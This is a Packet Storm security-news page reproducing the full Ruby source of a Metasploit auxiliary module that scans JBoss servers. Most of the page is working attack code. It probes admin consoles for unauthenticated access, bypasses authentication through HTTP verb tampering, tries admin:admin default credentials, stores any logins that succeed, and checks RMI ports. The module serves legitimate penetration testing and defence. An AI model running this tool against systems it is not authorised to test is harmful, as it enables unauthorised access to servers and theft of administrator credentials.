Security
Headlines
HeadlinesLatestCVEs

Headline

JBoss Scanner

This Metasploit module scans a JBoss instance for a few vulnerabilities.

Packet Storm
#sql#vulnerability#web#js#git#java#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Scanner  include Msf::Auxiliary::Report  def initialize(info = {})    super(update_info(info,      'Name'                  => 'JBoss Vulnerability Scanner',      'Description'           => %q(        This module scans a JBoss instance for a few vulnerabilities.      ),      'Author'                =>        [          'Tyler Krpata',          'Zach Grace <@ztgrace>'        ],      'References'            =>        [          [ 'CVE', '2008-3273' ], # info disclosure via unauthenticated access to "/status"          [ 'CVE', '2010-1429' ], # info disclosure via unauthenticated access to "/status" (regression)          [ 'CVE', '2010-0738' ], # VERB auth bypass on "JMX-Console": /jmx-console/          [ 'CVE', '2010-1428' ], # VERB auth bypass on "Web Console": /web-console/          [ 'CVE', '2017-12149' ] # deserialization: "/invoker/readonly"        ],      'License'               => BSD_LICENSE      ))    register_options(      [        OptString.new('VERB',  [ true,  "Verb for auth bypass testing", "HEAD"])      ])  end  def run_host(ip)    res = send_request_cgi(      {        'uri'       => "/" + Rex::Text.rand_text_alpha(12),        'method'    => 'GET',        'ctype'     => 'text/plain'      })    if res      info = http_fingerprint(:response => res)      print_status("#{rhost}:#{rport} Fingerprint: #{info}")      if res.body && />(JBoss[^<]+)/.match(res.body)        print_error("#{rhost}:#{rport} JBoss error message: #{$1}")      end      apps = [        '/jmx-console/HtmlAdaptor',        '/jmx-console/checkJNDI.jsp',        '/status',        '/web-console/ServerInfo.jsp',        # apps added per Patrick Hof        '/web-console/Invoker',        '/invoker/JMXInvokerServlet',        '/invoker/readonly'      ]      print_status("#{rhost}:#{rport} Checking http...")      apps.each do |app|        check_app(app)      end      jboss_as_default_creds      ports = {        # 1098i, 1099, and 4444 needed to use twiddle        1098 => 'Naming Service',        1099 => 'Naming Service',        4444 => 'RMI invoker'      }      print_status("#{rhost}:#{rport} Checking services...")      ports.each do |port, service|        status = test_connection(ip, port) == :up ? "open" : "closed"        print_status("#{rhost}:#{rport} #{service} tcp/#{port}: #{status}")      end    end  end  def check_app(app)    res = send_request_cgi({      'uri'       => app,      'method'    => 'GET',      'ctype'     => 'text/plain'    })    unless res      print_status("#{rhost}:#{rport} #{app} not found")      return    end    case    when res.code == 200      print_good("#{rhost}:#{rport} #{app} does not require authentication (200)")    when res.code == 403      print_status("#{rhost}:#{rport} #{app} restricted (403)")    when res.code == 401      print_status("#{rhost}:#{rport} #{app} requires authentication (401): #{res.headers['WWW-Authenticate']}")      bypass_auth(app)      basic_auth_default_creds(app)    when res.code == 404      print_status("#{rhost}:#{rport} #{app} not found (404)")    when res.code == 301, res.code == 302      print_status("#{rhost}:#{rport} #{app} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")    when res.code == 500 && app == "/invoker/readonly"      print_good("#{rhost}:#{rport} #{app} responded (#{res.code})")    else      print_status("#{rhost}:#{rport} Don't know how to handle response code #{res.code}")    end  end  def jboss_as_default_creds    print_status("#{rhost}:#{rport} Checking for JBoss AS default creds")    session = jboss_as_session_setup(rhost, rport)    return false if session.nil?    # Default AS creds    username = 'admin'    password = 'admin'    res = send_request_raw({      'uri'      => '/admin-console/login.seam',      'method'   => 'POST',      'version'  => '1.1',      'vhost'    => "#{rhost}",      'headers'  => { 'Content-Type'  => 'application/x-www-form-urlencoded',                      'Cookie'        => "JSESSIONID=#{session['jsessionid']}"                    },      'data'     => "login_form=login_form&login_form%3Aname=#{username}&login_form%3Apassword=#{password}&login_form%3Asubmit=Login&javax.faces.ViewState=#{session["viewstate"]}"    })    # Valid creds if 302 redirected to summary.seam and not error.seam    if res && res.code == 302 && res.headers.to_s !~ /error.seam/m && res.headers.to_s =~ /summary.seam/m      print_good("#{rhost}:#{rport} Authenticated using #{username}:#{password} at /admin-console/")      add_creds(username, password)    else      print_status("#{rhost}:#{rport} Could not guess admin credentials")    end  end  def add_creds(username, password)    service_data = {      address: rhost,      port: rport,      service_name: 'jboss',      protocol: 'tcp',      workspace_id: framework.db.workspace.id    }    credential_data = {      module_fullname: self.fullname,      origin_type: :service,      private_data: password,      private_type: :password,      username: username    }.merge(service_data)    credential_core = create_credential(credential_data)    credential_data[:core] = credential_core    create_credential_login(credential_data)  end  def jboss_as_session_setup(rhost, rport)    res = send_request_raw({      'uri'       => '/admin-console/login.seam',      'method'    => 'GET',      'version'   => '1.1',      'vhost'     => "#{rhost}"    })    unless res      return nil    end    begin      viewstate = /javax.faces.ViewState" value="(.*)" auto/.match(res.body).captures[0]      jsessionid = /JSESSIONID=(.*);/.match(res.headers.to_s).captures[0]    rescue ::NoMethodError      print_status("#{rhost}:#{rport} Could not guess admin credentials")      return nil    end    { 'jsessionid' => jsessionid, 'viewstate' => viewstate }  end  def bypass_auth(app)    print_status("#{rhost}:#{rport} Check for verb tampering (#{datastore['VERB']})")    res = send_request_raw({      'uri'       => app,      'method'    => datastore['VERB'],      'version'   => '1.0' # 1.1 makes the head request wait on timeout for some reason    })    if res && res.code == 200      print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering at #{app}")    else      print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")    end  end  def basic_auth_default_creds(app)    res = send_request_cgi({      'uri'       => app,      'method'    => 'GET',      'ctype'     => 'text/plain',      'authorization' => basic_auth('admin', 'admin')    })    if res && res.code == 200      print_good("#{rhost}:#{rport} Authenticated using admin:admin at #{app}")      add_creds("admin", "admin")    else      print_status("#{rhost}:#{rport} Could not guess admin credentials")    end  end  # function stole'd from mssql_ping  def test_connection(ip, port)    begin      sock = Rex::Socket::Tcp.create(        'PeerHost' => ip,        'PeerPort' => port,        'Timeout' => 20      )    rescue Rex::ConnectionError      return :down    end    sock.close    return :up  endend

Packet Storm: Latest News

CUPS IPP Attributes LAN Remote Code Execution